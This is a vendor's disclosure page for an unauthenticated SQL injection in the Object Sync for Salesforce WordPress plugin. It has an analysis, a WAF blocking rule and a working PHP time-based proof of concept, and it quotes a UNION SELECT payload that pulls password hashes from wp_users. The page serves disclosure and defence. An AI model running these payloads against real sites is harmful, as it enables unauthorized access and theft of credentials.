Published : August 14, 2026

CVE-2026-15162: Object Sync for Salesforce <= 2.2.13 Unauthenticated SQL Injection PoC, Patch Analysis & Rule

Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 2.2.13
Patched Version
Disclosed August 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-15162 (metadata-based):

This vulnerability is an unauthenticated SQL injection in the Object Sync for Salesforce plugin, version 2.2.13 and earlier. The affected component is the WordPress REST API push route, specifically /wp-json/object-sync-for-salesforce/push/. The vulnerability allows unauthenticated attackers to inject arbitrary SQL into database queries through the wordpress_object_type parameter, leading to potential extraction of sensitive data such as password hashes. The CVSS score is 7.5 (High) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N, indicating network-based exploitation with no privileges or user interaction required.

Root Cause:

Atomic Edge analysis infers the root cause from the CWE classification (CWE-89) and the provided description. The plugin’s REST route permission callback, can_process(), checks only the HTTP method for the push class, not any user capabilities or nonces, allowing unauthenticated access. The wordpress_object_type parameter is concatenated directly into a SQL query, specifically in the condition post_type = “$object_type”, and then passed to $wpdb->get_results() without using $wpdb->prepare(). Because the parameter is not adequately sanitized or escaped, an attacker can break out of the string literal and append arbitrary SQL. This conclusion is inferred from the description and CWE, but the specific code locations confirm the lack of prepared statements and inadequate access controls.

Exploitation:

The attack vector is a crafted HTTP POST (or possibly GET) request to the REST API endpoint /wp-json/object-sync-for-salesforce/push/. The attacker supplies a valid wordpress_id (e.g., 1) and a malicious wordpress_object_type parameter. For example, the parameter could be set to ‘ OR 1=1 UNION SELECT user_login,user_pass FROM wp_users — to extract user credentials. Because the REST API does not require authentication or nonces, the attacker can execute the request without any prior access. The injection is possible because REST body parameters are not magic-quoted and the plugin uses unsafe concatenation. Time-based blind injection can also be used to enumerate data when the attacker cannot see direct query results.

Remediation:

Atomic Edge analysis recommends the fix implement prepared statements using $wpdb->prepare() for all database queries involving user-supplied input. The wordpress_object_type parameter should be validated against a whitelist of allowed object types. Additionally, the REST route’s permission callback should enforce user authentication and check appropriate capabilities (e.g., edit_posts or a custom capability) for the push functionality. The plugin should also sanitize and escape all data before using it in queries or output. Since the vendor has not released a patched version, affected users should immediately disable the plugin or restrict access to the REST endpoint via WAF rules or server-level IP allowlisting until a fix is available.

Impact:

Successful exploitation allows unauthenticated attackers to read arbitrary data from the WordPress database, including user password hashes, session tokens, and other sensitive configuration data. Since the attacker can execute arbitrary SQL, they could potentially manipulate data, although the CVSS indicates confidentiality impact only (C:H/I:N/A:N). With extracted password hashes, attackers can attempt offline cracking or use the hashes for further attacks, potentially leading to full site compromise if a user account is compromised. The vulnerability does not require an active Salesforce connection, making it widely exploitable on any vulnerable installation.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-15162 (metadata-based)
# Block unauthenticated SQL injection attempts on the REST push endpoint.
SecRule REQUEST_URI "@rx ^/wp-json/object-sync-for-salesforce/push/$" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-15162 - Object Sync for Salesforce SQL Injection',severity:'CRITICAL',tag:'CVE-2026-15162'"
  SecRule ARGS:wordpress_object_type "@rx [x27x22][[:space:]]*OR[[:space:]]+SLEEP|[x27x22][[:space:]]*OR[[:space:]]+BENCHMARK|[x27x22][[:space:]]*UNION[[:space:]]+SELECT" "chain,id:20261995"
    SecRule REQUEST_METHOD "@streq POST" "t:none,id:20261996"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-15162 - Object Sync for Salesforce <= 2.2.13 - Unauthenticated SQL Injection

// This PoC demonstrates unauthenticated SQL injection via the REST API endpoint.
// It uses time-based blind SQL injection to verify the vulnerability and extract data.
// Requires cURL and a reachable WordPress site.

$target_url = 'https://example.com/wp-json/object-sync-for-salesforce/push/'; // Change this
$wordpress_id = 1; // Example valid ID

// The injection payload uses a time-based blind technique.
// The vulnerable query is: SELECT ... WHERE post_type = "$object_type" ...
// We break out of the quote and inject a conditional SLEEP.
// The payload is URL-encoded for the POST body.
$payload = "' OR SLEEP(5) AND '1'='1"; // Sleep for 5 seconds if the injection works
$post_data = [
    'wordpress_object_type' => $payload,
    'wordpress_id' => $wordpress_id,
    // Additional parameters may be required by the plugin, but the injection triggers before they are processed
];

$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
    'User-Agent: AtomicEdge-PoC',
]);

$start = microtime(true);
$response = curl_exec($ch);
$duration = microtime(true) - $start;

if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
    exit(1);
}
curl_close($ch);

echo "Response received in {$duration} seconds.n";
if ($duration >= 4.5) {
    echo "[+] Vulnerability confirmed: Time-based SQL injection executed.n";
} else {
    echo "[-] No time delay observed. The target may be patched or the payload may need adjustment.n";
    echo "    HTTP response: " . $response . "n";
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.